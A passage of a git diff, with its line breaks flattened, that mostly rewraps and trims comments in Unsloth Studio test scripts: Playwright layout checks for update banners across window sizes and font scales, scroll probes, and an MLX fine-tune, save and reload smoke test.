for.E2E_DELAY_GLOBAL = "__unslothE2EWebUpdateDelayMs"E2E_DELAY_MS = int(os.environ.get("STUDIO_UI_BANNER_UPDATE_DELAY_MS", "150"))@@ -186,8 +185,7 @@ WHISPER_STATUS = dict(},)-# 921x534 and 768x500 are where the report reproduces; the taller ones prove the-# fix costs nothing when there is room.+# 921x534 and 768x500 are where the report reproduces; the taller ones prove the fix costs nothing when there is room.VIEWPORTS = [(1440, 900),(1280, 830),@@ -199,17 +197,15 @@ VIEWPORTS = []ROUTES = [("new chat", "/"), ("train", "/train"), ("model hub", "/model-hub")]-# Real display and window sizes, walked by RESIZING one already-loaded page-# rather than booting one each: a resize is what a maximise, an unmaximise, a-# restore from the dock and a drag of the window edge all are, so this is the-# cheap sweep and the realistic one at the same time. Ordered largest first so-# the run starts from the roomiest layout and squeezes.+# Real display and window sizes, walked by RESIZING one already-loaded page rather than booting one each: a resize is+# what a maximise, an unmaximise, a restore from the dock and a drag of the window edge all are, so this is the cheap+# sweep and the realistic one at the same time. Ordered largest first so the run starts from the roomiest layout and+# squeezes.#-# 3840x2160 and 2560x1440 are maximised on a 4K and a QHD display; 1920x1080 is-# the commonest desktop there is; 1512x982 and 1440x900 are the default scaled-# resolutions of a 14in MacBook Pro and a MacBook Air; 1366x768 is the commonest-# Windows laptop; 900x600 is the desktop app's own minimum window; the rest are-# ordinary small windows down to a phone in portrait.+# 3840x2160 and 2560x1440 are maximised on a 4K and a QHD display; 1920x1080 is the commonest desktop there is;+# 1512x982 and 1440x900 are the default scaled resolutions of a 14in MacBook Pro and a MacBook Air; 1366x768 is the+# commonest Windows laptop; 900x600 is the desktop app's own minimum window; the rest are ordinary small windows down+# to a phone in portrait.RESIZE_SWEEP = [(3840, 2160),(2560, 1440),@@ -236,13 +232,13 @@ RESIZE_SWEEP = [(320, 568),]-# What a resize needs before it has settled: the ResizeObserver, the placement-# it feeds, and the reflow after that. Nothing is fetched, so this is short.+# What a resize needs before it has settled: the ResizeObserver, the placement it feeds, and the reflow after that.+# Nothing is fetched, so this is short.RESIZE_SETTLE_MS = int(os.environ.get("STUDIO_UI_BANNER_RESIZE_MS", "700"))# The four runtime status endpoints the loaded models card reads, shaped as-# tests/studio/playwright_loaded_models_indicator.py has them. Only chat holds-# anything: one loaded model is all it takes to put the card in the rail.+# tests/studio/playwright_loaded_models_indicator.py has them. Only chat holds anything: one loaded model is all it+# takes to put the card in the rail.CHAT_LOADED = {"active_model": "unsloth/Qwen3-4B","loaded": ["unsloth/Qwen3-4B"],@@ -271,17 +267,16 @@ NOTHING_STT = {"gguf": {"loaded_model": None, "device": None},}-# Short windows on the chat route: the ones where the rail used to leave its-# corner. Two is enough, since what is being checked does not vary with size.+# Short windows on the chat route: the ones where the rail used to leave its corner. Two is enough, since what is+# being checked does not vary with size.INDICATOR_VIEWPORTS = [(921, 534), (768, 500)]# One roomy viewport and one capped viewport.NO_PREVIEW_VIEWPORTS = [(1440, 900), (921, 534)]-# Where the rail actually is, against the corner it is anchored to. It was-# placed from JS for a while, lifting clear of the boxes in the frame store,-# and drifted to the middle and the top of the window as those boxes and its-# own cards changed. Nothing on the page may move it now.+# Where the rail actually is, against the corner it is anchored to. It was placed from JS for a while, lifting clear+# of the boxes in the frame store, and drifted to the middle and the top of the window as those boxes and its own+# cards changed. Nothing on the page may move it now.RAIL_CORNER = """() => {const card = document.querySelector('[data-testid="web-update-banner"]');@@ -337,33 +332,30 @@ RAIL_CORNER = """}"""-# A minimised window has no layout to photograph, so what is actually testable-# is the RESTORE: the geometry is measured by a ResizeObserver and cached in-# React state, and a window that goes away and comes back is exactly how a stale-# measurement would survive. Each pair is (parked, restored).+# A minimised window has no layout to photograph, so what is actually testable is the RESTORE: the geometry is+# measured by a ResizeObserver and cached in React state, and a window that goes away and comes back is exactly how a+# stale measurement would survive. Each pair is (parked, restored).RESTORE_CYCLES = [((320, 400), (1920, 1080)), ((320, 400), (900, 600))]-# `spot` is the same suite cut down to what a SECOND browser engine is worth-# running: the viewports that reproduce, one route, no resize sweep and no type-# pass. Chromium runs `full`; Firefox and WebKit run this, because the job they-# share has minutes rather than tens of minutes to spare and a third full pass-# would mostly re-answer questions the first one already answered.+# `spot` is the same suite cut down to what a SECOND browser engine is worth running: the viewports that reproduce,+# one route, no resize sweep and no type pass. Chromium runs `full`; Firefox and WebKit run this, because the job they+# share has minutes rather than tens of minutes to spare and a third full pass would mostly re-answer questions the+# first one already answered.SCOPE = os.environ.get("STUDIO_UI_BANNER_SCOPE", "full").lower()SPOT = SCOPE == "spot"# The two that squeeze the rail hardest, re-run at the largest UI font size.-# The whole matrix again would not fit the job's budget and would say the same-# thing three times over.-# 320x480 is not a spare small size, it is the one that bites. Below 384px the-# card's action pair wraps onto a row of its own on top of the notes toggle's,-# and at the 20px setting that is a whole extra row: 259px where the wide card-# needs 209. The height matters as much as the width, because the harm needs a-# rail cap BETWEEN the two. At 320x480 the cap is 293px, so a 209px floor let-# the card shrink to 209 and its own overflow-hidden surface cut 34px off Copy-# command; at 320x568 the cap is 528px and nothing is squeezed at all.+# The whole matrix again would not fit the job's budget and would say the same thing three times over.+# 320x480 is not a spare small size, it is the one that bites.+# Below 384px the card's action pair wraps onto a row of its own on top of the notes toggle's, and at the 20px setting+# that is a whole extra row: 259px where the wide card needs 209.+# The height matters as much as the width, because the harm needs a rail cap BETWEEN the two.+# At 320x480 the cap is 293px, so a 209px floor let the card shrink to 209 and its own overflow-hidden surface cut 34px+# off Copy command;+# at 320x568 the cap is 528px and nothing is squeezed at all.FONT_SCALE_VIEWPORTS = [(921, 534), (390, 500), (320, 480)]-# appearance-custom-store.ts: UI_FONT_SIZE_RANGE, UI_FONT_SIZE_CSS_BASE and the-# persist version. Kept in step by test_update_release_notes.py.+# appearance-custom-store.ts: UI_FONT_SIZE_RANGE, UI_FONT_SIZE_CSS_BASE and the persist version.+# Kept in step by test_update_release_notes.py.UI_FONT_SIZE_MAX = 20UI_FONT_SIZE_DEFAULT = 15UI_FONT_SIZE_CSS_BASE = 16@@ -597,9 +589,8 @@ def overlap(a: dict | None, b: dict | None) -> float:def inside(box: dict | None, viewport: dict) -> bool:- # A missing box is not "inside": clip() returns None for an element that is- # entirely hidden, and reading that as a pass would make this whole suite- # green on the one failure it exists to catch.+ # A missing box is not "inside": clip() returns None for an element that is entirely hidden, and reading that as a+ # pass would make this whole suite green on the one failure it exists to catch.if not box:return Falsereturn (@@ -625,8 +616,8 @@ def measure(page, label: str) -> dict:f"card={facts['card']} llama={facts['llama']}",)for name in ("card", "llama", "footer", "toggle"):- # As shown, where the rail can hide it; as measured otherwise. A card- # entirely under the fold is None here and is the reach check's to make.+ # As shown, where the rail can hide it; as measured otherwise. A card entirely under the fold is None here and+ # is the reach check's to make.shown = facts.get(f"{name}Shown", facts[name]) if name in ("card", "llama") else facts[name]if name in ("card", "llama") and shown is None:continue@@ -635,8 +626,8 @@ def measure(page, label: str) -> dict:inside(shown, view),f"{name}={shown} viewport={view}",)- # Anything the rail is holding under its fold has to come back when the- # rail is scrolled to it, and land on screen when it does.+ # Anything the rail is holding under its fold has to come back when the rail is scrolled to it, and land on screen+ # when it does.reach = page.evaluate(REACH, REACHABLE)for name, seen in (reach or {}).items():if seen is None:@@ -650,13 +641,11 @@ def measure(page, label: str) -> dict:if facts["cardLayoutWidth"] is not None:# 448px is the card's max width and 2rem the viewport inset it keeps.want = min(448, view["width"] - 32)- # Asked of the layout box, not the painted one. A scrollbar that takes- # its width out of the rail's content box shrinks the card's layout- # width, which is the whole subject here; the card's enter animation- # (opacity 0, y 12, scale .96 -- see components/*/update-banner.tsx)- # shrinks only the painted one, and measuring that raced the animation- # rather than the scrollbar. 448 * 0.96 = 430.08, which is exactly the- # 430 this reported on the WebKit leg while its own borderBox read 448+ # Asked of the layout box, not the painted one. A scrollbar that takes its width out of the rail's content box+ # shrinks the card's layout width, which is the whole subject here; the card's enter animation (opacity 0,+ # y 12, scale .96 -- see components/*/update-banner.tsx) shrinks only the painted one, and measuring that+ # raced the animation rather than the scrollbar.+ # 448 * 0.96 = 430.08, which is exactly the 430 this reported on the WebKit leg while its own borderBox read 448# and railGutter read 0.check(f"{label}: the card keeps its full width whatever the scrollbar does",@@ -668,18 +657,17 @@ def measure(page, label: str) -> dict:)if facts["railScrolls"] is not None:scrolls = facts["railScrolls"]- # Click-through in every state, scrolling or not. It used to take pointer- # input while it scrolled, which needed the JS that also placed it. The- # fold is reached by wheeling over a card, whose nearest scrollable- # ancestor is the rail, or by focus, which scrolls it into view.+ # Click-through in every state, scrolling or not. It used to take pointer input while it scrolled, which needed+ # the JS that also placed it. The fold is reached by wheeling over a card, whose nearest scrollable ancestor is+ # the rail, or by focus, which scrolls it into view.check(f"{label}: the rail stays click-through",facts["railPointerEvents"] == "none",f"scrolls={scrolls} pointerEvents={facts['railPointerEvents']} "f"why={json.dumps(facts['widthWhy'], sort_keys = True)}",)- # The gutter is the widest part of the rail that no card covers, so it- # is where a swallowed click would show up first.+ # The gutter is the widest part of the rail that no card covers, so it is where a swallowed click would show up+ # first.check(f"{label}: the rail's gutter never swallows a click",facts["gutterIsRail"] is False,@@ -695,8 +683,8 @@ def measure(page, label: str) -> dict:hole["above"] <= 1.0 and hole["below"] <= 1.0,f"{name}Dead={hole}",)- # The notes are allowed to yield all of their height, and do; the controls- # are not, and a card clipped to nothing is the failure being tested for.+ # The notes are allowed to yield all of their height, and do; the controls are not, and a card clipped to nothing is+ # the failure being tested for.for name in ("card", "llama", "toggle", "snooze", "copy"):box = facts[name]check(@@ -759,16 +747,15 @@ def settle_stack(def boot(page, path: str) -> None:page.goto(f"{BASE}{path}", wait_until = "domcontentloaded")- # Both cards are on a timer, so wait for them rather than for the worst case: this- # step runs 24 times and the job it shares has minutes, not tens of minutes, to- # spare. The app card's 5s is shortened to E2E_DELAY_MS by the seed script, llama.cpp- # keeps its 1s, and both still mount after first paint.+ # Both cards are on a timer, so wait for them rather than for the worst case: this step runs 24 times and the job it+ # shares has minutes, not tens of minutes, to spare. The app card's 5s is shortened to E2E_DELAY_MS by the seed+ # script, llama.cpp keeps its 1s, and both still mount after first paint.for testid in ("web-update-banner", "llama-update-banner"):try:page.wait_for_selector(f'[data-testid="{testid}"]', state = "attached", timeout = SETTLE_MS)except PlaywrightTimeoutError:- # Let the caller's own checks report the missing card; a bare- # timeout here would say nothing about which one or where.+ # Let the caller's own checks report the missing card; a bare timeout here would say nothing about which one+ # or where.pass# The banners animate in, and a box measured mid-transition is not the box.page.wait_for_timeout(SETTLED_MS)@@ -856,8 +843,8 @@ def exercise_llama_changelog(page, label: str) -> None:def main() -> int:wait_for_health(BASE, timeout = 60.0, info = info)- # OLD is already NEW on a rerun, or when an earlier suite in the same job- # rotated it, and that login fails before the rotation below can be skipped.+ # OLD is already NEW on a rerun, or when an earlier suite in the same job rotated it, and that login fails before+ # the rotation below can be skipped.try:token = api("/api/auth/login", {"username": "unsloth", "password": OLD})["access_token"]except urllib.error.HTTPError as exc:@@ -880,14 +867,12 @@ def main() -> int:# add_init_script takes raw source, not a function to call.seed_js = ("(() => {"- # The app arms its update check on a 5s timer so the request stays off the- # critical path at launch. This suite boots a fresh page for every case it- # measures and waits out that timer each time before the card it is measuring- # exists, which was over two and a half minutes of a five minute step. The- # override is read at mount from a global that exists only here, so the shortened- # delay reaches no build and no browser but this one, and it stays a timer rather- # than becoming synchronous, because a card that mounts on the first frame would- # not exercise the late-mount reflow this file is about.+ # The app arms its update check on a 5s timer so the request stays off the critical path at launch. This suite+ # boots a fresh page for every case it measures and waits out that timer each time before the card it is+ # measuring exists, which was over two and a half minutes of a five minute step. The override is read at mount+ # from a global that exists only here, so the shortened delay reaches no build and no browser but this one, and+ # it stays a timer rather than becoming synchronous, because a card that mounts on the first frame would not+ # exercise the late-mount reflow this file is about.f" window.{E2E_DELAY_GLOBAL} = {E2E_DELAY_MS};"f" localStorage.setItem('unsloth_auth_token', {json.dumps(session['access_token'])});"f" localStorage.setItem('unsloth_refresh_token', {json.dumps(session.get('refresh_token', ''))});"@@ -1031,9 +1016,8 @@ def main() -> int:context.add_init_script("localStorage.setItem('unsloth_show_loaded_models_indicator', 'true');")- # The card only exists when something is loaded, so the preference- # alone would leave the rail exactly as it was and this whole pass- # would agree with itself about nothing.+ # The card only exists when something is loaded, so the preference alone would leave the rail exactly as it+ # was and this whole pass would agree with itself about nothing.for pattern, payload in (("**/api/studio/update-status*", UPDATE_STATUS),("**/api/studio/release-notes*", RELEASE_NOTES),@@ -1048,8 +1032,8 @@ def main() -> int:page = context.new_page()boot(page, "/")page.wait_for_selector("text=Loaded models", timeout = 30_000)- # A third card changes the rail's height, which is what used to- # move it; give the layout a frame to prove it does not.+ # A third card changes the rail's height, which is what used to move it; give the layout a frame to prove+ # it does not.settle_stack(page)measure(page, f"{width}x{height} with the models indicator")seen = page.evaluate(RAIL_CORNER)@@ -1081,11 +1065,10 @@ def main() -> int:browser.close()return 1 if failures else 0- # One page, many window sizes. Every check the core matrix runs, at- # every resolution in RESIZE_SWEEP, for the price of one boot: the- # cards are already mounted and a resize is all a maximise or a restore- # ever is. It also exercises the path a fresh load never does, where- # the placement has to re-measure rather than measure once.+ # One page, many window sizes.+ # Every check the core matrix runs, at every resolution in RESIZE_SWEEP, for the price of one boot: the cards+ # are already mounted and a resize is all a maximise or a restore ever is. It also exercises the path a fresh+ # load never does, where the placement has to re-measure rather than measure once.context = browser.new_context(viewport = {"width": RESIZE_SWEEP[0][0], "height": RESIZE_SWEEP[0][1]},reduced_motion = "reduce",@@ -1102,8 +1085,8 @@ def main() -> int:boot(page, "/")for width, height in RESIZE_SWEEP:page.set_viewport_size({"width": width, "height": height})- # Long enough for the ResizeObserver, the placement it feeds and the- # reflow that follows. Short because nothing is being fetched.+ # Long enough for the ResizeObserver, the placement it feeds and the reflow that follows. Short because+ # nothing is being fetched.page.wait_for_timeout(RESIZE_SETTLE_MS)settle_stack(page)measure(page, f"{width}x{height} resized")@@ -1111,10 +1094,9 @@ def main() -> int:page.wait_for_timeout(RESIZE_SETTLE_MS)page.screenshot(path = str(ART / "resize-sweep-end.png"))- # Parked small and brought back. A minimised window cannot be- # photographed, but the restore is where a cached measurement would- # show, and the claim is that it lands where a fresh load of the same- # size does rather than merely looking tidy.+ # Parked small and brought back. A minimised window cannot be photographed, but the restore is where a cached+ # measurement would show, and the claim is that it lands where a fresh load of the same size does rather than+ # merely looking tidy.for (small_w, small_h), (back_w, back_h) in RESTORE_CYCLES:page.set_viewport_size({"width": small_w, "height": small_h})page.wait_for_timeout(RESIZE_SETTLE_MS)@@ -1149,17 +1131,14 @@ def main() -> int:fresh_context.close()context.close()- # Settings > Appearance scales the type, and the card's floor is- # written against that scale rather than measured once at the default.- # At the 20px maximum the action row wraps at every card width, so a- # default-font floor left the buttons clipped inside the card.+ # Settings > Appearance scales the type, and the card's floor is written against that scale rather than measured+ # once at the default. At the 20px maximum the action row wraps at every card width, so a default-font floor+ # left the buttons clipped inside the card.#- # Set on the server and put back in a finally, because the appearance- # store syncs up: leaving it at 20px hands every later suite in this job- # an Unsloth whose type is not the default, and they will not notice.- # Put BACK what was there, which is not always the default: run this- # against your own Unsloth and an unconditional reset would take your- # Appearance setting with it.+ # Set on the server and put back in a finally, because the appearance store syncs up: leaving it at 20px hands+ # every later suite in this job an Unsloth whose type is not the default, and they will not notice.+ # Put BACK what was there, which is not always the default: run this against your own Unsloth and an+ # unconditional reset would take your Appearance setting with it.was = read_ui_font_size(session["access_token"])set_ui_font_size(session["access_token"], UI_FONT_SIZE_MAX)try:diff --git a/tests/studio/probe_compact_tail_gap.py b/tests/studio/probe_compact_tail_gap.pyindex de55546a359..d54101fd5b4 100644--- a/tests/studio/probe_compact_tail_gap.py+++ b/tests/studio/probe_compact_tail_gap.py@@ -52,8 +52,8 @@ window.__nextPaint = () => new Promise((resolve) =>requestAnimationFrame(() => requestAnimationFrame(() => resolve())));"""-# Re-open and sample the viewport every frame from the first painted row until the thread stops-# growing, so the gap is a timeline rather than a single reading.+# Re-open and sample the viewport every frame from the first painted row until the thread stops growing, so the gap is a+# timeline rather than a single reading.RUN_JS = """async ([total, settleFrames]) => {const api = window.__heavyThread;@@ -130,8 +130,8 @@ def run_engine(pw, engine: str) -> dict:return max(0, s["gapBottom"] - baseline)gap0 = netgap(first)- # Time on screen, measured to the frame that CLOSES the gap rather than the last one- # showing it, so a single-frame gap reads as that frame's duration and not 0ms.+ # Time on screen, measured to the frame that CLOSES the gap rather than the last one showing it, so a+ # single-frame gap reads as that frame's duration and not 0ms.lingering = [s for s in samples if netgap(s) > 8]if lingering:closed = next(diff --git a/tests/studio/probe_dismiss_guard.py b/tests/studio/probe_dismiss_guard.pyindex f6669ee4906..d3e73df131e 100644--- a/tests/studio/probe_dismiss_guard.py+++ b/tests/studio/probe_dismiss_guard.py@@ -184,7 +184,6 @@ WATCH_ITEM_JS = """}"""-# Find a real neutral target in the visible thread.WATCH_NEUTRAL_JS = """(wantUnfocusable) => {const v = window.__heavyThread.viewport();@@ -214,7 +213,6 @@ WATCH_NEUTRAL_JS = """"""-# Record concurrent pointers and clicks for multi-pointer cases.MULTI_POINTER_INIT = """(() => {const st = { live: [], maxLive: 0, concurrentTypes: [], downs: [] };@@ -250,7 +248,6 @@ MULTI_POINTER_INIT = """})()"""-# Find a non-item point inside the menu for the second pointer.MENU_BLANK_JS = """() => {const menu = document.querySelector('[role="menu"]');@@ -510,7 +507,6 @@ async def one_case("deleted": after["assistantMessages"] < before["assistantMessages"],}elif case in ("rightclick_then_click", "dragoff_then_click"):- # These dismissing gestures may produce no click.spot = await page.evaluate(WATCH_NEUTRAL_JS, False)if not spot:return {"case": case, "error": "no qualifying neutral spot in the viewport"}@@ -542,7 +538,6 @@ async def one_case("swallowedLaterClick": clicks < 1,}elif case == "select_then_quick_click":- # Exercise a click during the menu's exit animation.item = await page.evaluate(WATCH_ITEM_JS)if not item:return {"case": case, "error": "no menu item to select"}diff --git a/tests/studio/probe_progressive_anchor.py b/tests/studio/probe_progressive_anchor.pyindex a44cde74274..8feca07ab65 100644--- a/tests/studio/probe_progressive_anchor.py+++ b/tests/studio/probe_progressive_anchor.py@@ -37,9 +37,7 @@ sys.path.insert(0, str(Path(__file__).resolve().parent))try:from playwright_heavy_thread import RECORDER_INIT # noqa: E402except ModuleNotFoundError as exc: # pragma: no cover - the message IS the behaviour- # #9016 is not merged, so its fixture files are absent and this import is where that becomes- # visible. Say so instead of raising a bare ModuleNotFoundError, and do not vendor a copy: these- # numbers are only comparable to #9016's while there is exactly one harness.+ # #9016 is not merged, so its fixture files are absent and this import is where that becomes visible.raise SystemExit("probe_progressive_anchor needs #9016's heavy-thread harness, which is not on this ""branch yet: tests/studio/playwright_heavy_thread.py plus "@@ -62,8 +60,7 @@ LABEL = os.environ.get("SMOKE_LABEL", "tree")OUT = Path(os.environ.get("PW_ART_DIR", "logs/progressive-anchor"))OUT.mkdir(parents = True, exist_ok = True)-# How far up to scroll on the frame the thread comes back. Two viewports puts the reader clear of-# the bottom, so the hook's follow window is disarmed rather than merely expired.+# How far up to scroll on the frame the thread comes back.SCROLL_UP_PX = int(os.environ.get("SMOKE_ANCHOR_SCROLL_PX", "4000"))SETTLE_MS = int(os.environ.get("SMOKE_ANCHOR_SETTLE_MS", "8000"))@@ -72,8 +69,8 @@ def info(message: str) -> None:print(f"[anchor] {message}", flush = True)-# Stage 1, in the page: unmount and re-open, returning as soon as the first row paints so the caller-# can scroll up while the widening is still in flight.+# Stage 1, in the page: unmount and re-open, returning as soon as the first row paints so the caller can scroll up while+# the widening is still in flight.REOPEN_JS = """async () => {const api = window.__heavyThread;@@ -107,9 +104,7 @@ async () => {}"""-# Stage 3, in the page: pick an on-screen message and sample its position every frame until the-# thread converges. Document space (viewport offset plus scrollTop) is recorded alongside viewport-# space to isolate movement caused by rows inserted above.+# Stage 3, in the page: pick an on-screen message and sample its position every frame until the thread converges.SAMPLE_JS = """async ([before, settleMs]) => {const api = window.__heavyThread;@@ -182,8 +177,8 @@ def main() -> int:with sync_playwright() as p:browser = p.chromium.launch(headless = True, args = chromium_launch_args())context = browser.new_context(viewport = {"width": 1280, "height": 900})- # Reuse #9016's instrumentation: __nextPaint is the double-rAF this samples on, and it- # must be the SAME clock the re-open column uses or the numbers are not comparable.+ # Reuse #9016's instrumentation: __nextPaint is the double-rAF this samples on, and it must be the SAME+ # clock the re-open column uses or the numbers are not comparable.context.add_init_script(RECORDER_INIT)page = context.new_page()page.goto(PAGE, wait_until = "domcontentloaded")@@ -201,18 +196,16 @@ def main() -> int:if opened is None:info("fixture did not land")return 1- # A REAL wheel from the input pipeline, over a message rather than the scroll- # container. A synthetic dispatchEvent on the viewport does not detach: the hook- # asks innerScrollWillConsumeUpward(e.target) whether something nested will consume- # the gesture, and an event dispatched ON the viewport answers about the viewport- # itself. The first version did that and its own guard caught it.+ # A REAL wheel from the input pipeline, over a message rather than the scroll container. A synthetic+ # dispatchEvent on the viewport does not detach: the hook asks innerScrollWillConsumeUpward(e.target)+ # whether something nested will consume the gesture, and an event dispatched ON the viewport answers+ # about the viewport itself. The first version did that and its own guard caught it.if not opened["widenedBeforeScroll"]:info("no widening landed before the scroll; the fixture is not long enough")return 1page.mouse.move(640, 450)page.mouse.wheel(0, -SCROLL_UP_PX)- # The viewport is scroll-smooth, so the wheel animates. Let it finish or the first- # samples record the probe's own gesture as drift.+ # The viewport is scroll-smooth, so the wheel animates.page.wait_for_function("""() => {const el = window.__heavyThread.viewport();diff --git a/tests/studio/probe_progressive_reflow.py b/tests/studio/probe_progressive_reflow.pyindex ca6450b4a1e..63459af344f 100644--- a/tests/studio/probe_progressive_reflow.py+++ b/tests/studio/probe_progressive_reflow.py@@ -56,8 +56,8 @@ def info(m: str) -> None:print(f"[pm-reflow] {m}", flush = True)-# Re-open, scroll the reader up, grow one row ABOVE them by a known amount while the window is-# still open, and watch the row they are looking at.+# Re-open, scroll the reader up, grow one row ABOVE them by a known amount while the window is still open, and watch the+# row they are looking at.RUN_JS = """async ([growPx, settleMs]) => {const api = window.__heavyThread;@@ -141,8 +141,8 @@ def main() -> int:opened = pg.evaluate(RUN_JS, [GROW_PX, 2000])pg.mouse.move(640, 450)pg.mouse.wheel(0, -4000)- # The viewport is scroll-smooth, so the wheel animates. Let it finish or the probe- # measures its own gesture: the first version reported 4332px on BOTH arms.+ # The viewport is scroll-smooth, so the wheel animates.+ # Let it finish or the probe measures its own gesture: the first version reported 4332px on BOTH arms.pg.wait_for_function("""() => { const el = window.__heavyThread.viewport();const settled = window.__rfTop === el.scrollTop;diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.pyindex 63bc0dbba9d..bdf7bc97e72 100644--- a/tests/studio/run_real_mlx_smoke.py+++ b/tests/studio/run_real_mlx_smoke.py@@ -33,8 +33,6 @@ EXPECT_IN_OUTPUT = "Unsloth"MODEL_NAME = "unsloth/gemma-3-270m-it"-# ----------------------------------------------------------------------------# Determinism + telemetry helpers# ---------------------------------------------------------------------------@@ -51,7 +49,8 @@ def _peak_gpu_gb() -> float:if not mx.metal.is_available():return 0.0- # Newer MLX moved get_peak_memory to top-level; fall back to mx.metal.+ # Newer MLX moved get_peak_memory to top-level;+ # fall back to mx.metal.getter = getattr(mx, "get_peak_memory", None) or getattr(mx.metal, "get_peak_memory", None)if getter is None:return 0.0@@ -149,7 +148,8 @@ def _teacher_forced_completion_loss(model, tokenizer, prompt: str, completion: stargets = mx.array([full_ids[1:]], dtype = mx.int32)logits = model(inputs)- # logits at position i predict targets[i]; completion starts at len(prompt_ids)-1.+ # logits at position i predict targets[i];+ # completion starts at len(prompt_ids)-1.start = len(prompt_ids) - 1completion_logits = logits[:, start:, :]completion_targets = targets[:, start:]@@ -164,8 +164,6 @@ def _write_metrics(path: Path, metrics: dict) -> None:# ----------------------------------------------------------------------------# `train` subcommand-# ---------------------------------------------------------------------------def cmd_train(args) -> int:@@ -244,8 +242,8 @@ def cmd_train(args) -> int:lr_scheduler_type = "constant",optim = "adamw",weight_decay = 0.0,- # Pin the elementwise clip (value=1.0, norm disabled) to match the- # 13-seed-tested fixture; explicit value overrides zoo's MLX default.+ # Pin the elementwise clip (value=1.0, norm disabled) to match the 13-seed-tested fixture; explicit value+ # overrides zoo's MLX default.max_grad_norm = 0.0,max_grad_value = 1.0,logging_steps = 1,@@ -311,8 +309,8 @@ def cmd_train(args) -> int:f"expected train_steps={expected_logged_steps}, got " f"{train_result['train_steps']}")for i, l in enumerate(losses_per_step):- # Allow exact 0.0: fp16 loss underflows once the LoRA memorises the- # row (~step 10); that's success, so the lower bound is >= 0 not > 0.+ # Allow exact 0.0: fp16 loss underflows once the LoRA memorises the row (~step 10);+ # that's success, so the lower bound is >= 0 not > 0.assert math.isfinite(l) and 0 <= l < 50, f"step {i+1} loss bad: {l}"assert (losses_per_step[-1] < losses_per_step[0] * 1.1@@ -323,8 +321,8 @@ def cmd_train(args) -> int:metrics["post_train_loss"] = round(post_loss, 4)metrics["post_train_grad_norm"] = round(post_norm, 4)assert post_loss < pre_loss, f"post {post_loss} >= pre {pre_loss}"- # Memorisation gate: every converging (clip, bc, seed) config in the- # 13-seed sweep hit post_train_loss <= 0.05, so 0.1 is a robust bound.+ # Memorisation gate: every converging (clip, bc, seed) config in the 13-seed sweep hit post_train_loss <= 0.05, so+ # 0.1 is a robust bound.assert post_loss < 0.1, (f"post_train_loss={post_loss:.4f} >= 0.1 -- training did not ""memorise the single training row in 30 steps. Trainer "@@ -354,9 +352,8 @@ def cmd_train(args) -> int:flush = True,)- # Hard check: teacher-forced loss on the trained completion bypasses- # greedy-decode fp16 fragility. 13/13 measured configs reached < 1e-3,- # so this gate is deterministic across (seed, clip, bc).+ # Hard check:+ # Hard check: teacher-forced loss on the trained completion bypasses greedy-decode fp16 fragility.completion_loss = _teacher_forced_completion_loss(model, tokenizer, PROMPT, EXPECT_IN_OUTPUT + "!")@@ -369,8 +366,8 @@ def cmd_train(args) -> int:"optimizer defaults vs torch.optim.AdamW.")- # unsloth-zoo#627 fixed from_pretrained(lora_dir) so the cold-start- # reload below works on the saved adapter dir directly.+ # unsloth-zoo#627 fixed from_pretrained(lora_dir) so the cold-start reload below works on the saved adapter dir+ # directly.lora_dir = workdir / "lora"with Phase("save_lora", metrics):model.save_pretrained_merged(@@ -382,7 +379,6 @@ def cmd_train(args) -> int:assert (lora_dir / "adapters.safetensors").exists()assert (lora_dir / "adapter_config.json").exists()- # Save merged_16bit (full HF directory)merged_dir = workdir / "merged_16bit"with Phase("save_merged_16bit", metrics):model.save_pretrained_merged(@@ -393,10 +389,9 @@ def cmd_train(args) -> int:metrics["merged_dir"] = str(merged_dir)assert any(merged_dir.glob("*.safetensors"))- # Save GGUF (best-effort). For some models (e.g. gemma-3-270m-it)- # llama.cpp's convert_hf_to_gguf asserts on the tokenizer vocab -- an- # llama.cpp limitation, not an unsloth_zoo bug. Soft-skip with a recorded- # reason so the LoRA + merged_16bit assertions still gate the PR.+ # Save GGUF (best-effort). For some models (e.g. gemma-3-270m-it) llama.cpp's convert_hf_to_gguf asserts on the+ # tokenizer vocab -- an llama.cpp limitation, not an unsloth_zoo bug. Soft-skip with a recorded reason so the+ # LoRA + merged_16bit assertions still gate the PR.gguf_dir = workdir / "gguf"metrics["gguf_supported"] = Falsemetrics["gguf_skip_reason"] = None@@ -405,8 +400,7 @@ def cmd_train(args) -> int:try:# q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0# CPU kernels, whereas bf16 CPU decode is unusably slow on the runner- # and made the fresh-process llama-cli reload below time out. q8_0 is- # also what users deploy by default.+ # and made the fresh-process llama-cli reload below time out.model.save_pretrained_gguf(str(gguf_dir),tokenizer = tokenizer,@@ -482,9 +476,8 @@ def cmd_reload(args) -> int:metrics["generation"] = outprint(f" [reload:{args.format}] output: {out!r}", flush = True)- # Save/reload invariant: reloaded teacher-forced loss on TRAIN_TEXT must- # match the in-memory post_train_loss. Robust to MLX's greedy-decode- # perturbation, which can flip the first token but not the loss.+ # Save/reload invariant: reloaded teacher-forced loss on TRAIN_TEXT must match the in-memory post_train_loss. Robust+ # to MLX's greedy-decode perturbation, which can flip the first token but not the loss.train_metrics_path = save_dir.parent / "train_metrics.json"in_mem_loss = Nonein_mem_out = None@@ -501,7 +494,8 @@ def cmd_reload(args) -> int:if isinstance(in_mem_loss, (int, float)) and math.isfinite(in_mem_loss):reload_loss, _ = _compute_loss_and_grad_norm(m, t, TRAIN_TEXT)metrics["reload_post_train_loss"] = round(reload_loss, 4)- # float16 round-trip is near-exact; 0.2 tolerates dequant noise.+ # float16 round-trip is near-exact;+ # 0.2 tolerates dequant noise.assert abs(reload_loss - float(in_mem_loss)) < 0.2, (f"reload {args.format!r} loss diverged from in-memory: "f"reload={reload_loss:.4f}, in-memory={in_mem_loss:.4f}"@@ -545,8 +539,8 @@ def _find_llama_cli() -> Path | None:for rel in ("llama-cli", "build/bin/llama-cli"):cand = base / relif cand.is_file() and os.access(cand, os.X_OK):- # Absolute: a separator-less relative path would send subprocess- # to a PATH lookup instead of running the file.+ # Absolute: a separator-less relative path would send subprocess to a PATH lookup instead of running the+ # file.return cand.resolve()# Last resort: the binary may sit under an unexpected build subdir.if base.is_dir():@@ -569,10 +563,9 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int:raise SystemExit(f"no .gguf files in {save_dir}")gguf_path = gguf_files[0]- # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is- # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow- # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model- # advertises 32768), and keep generation short; all 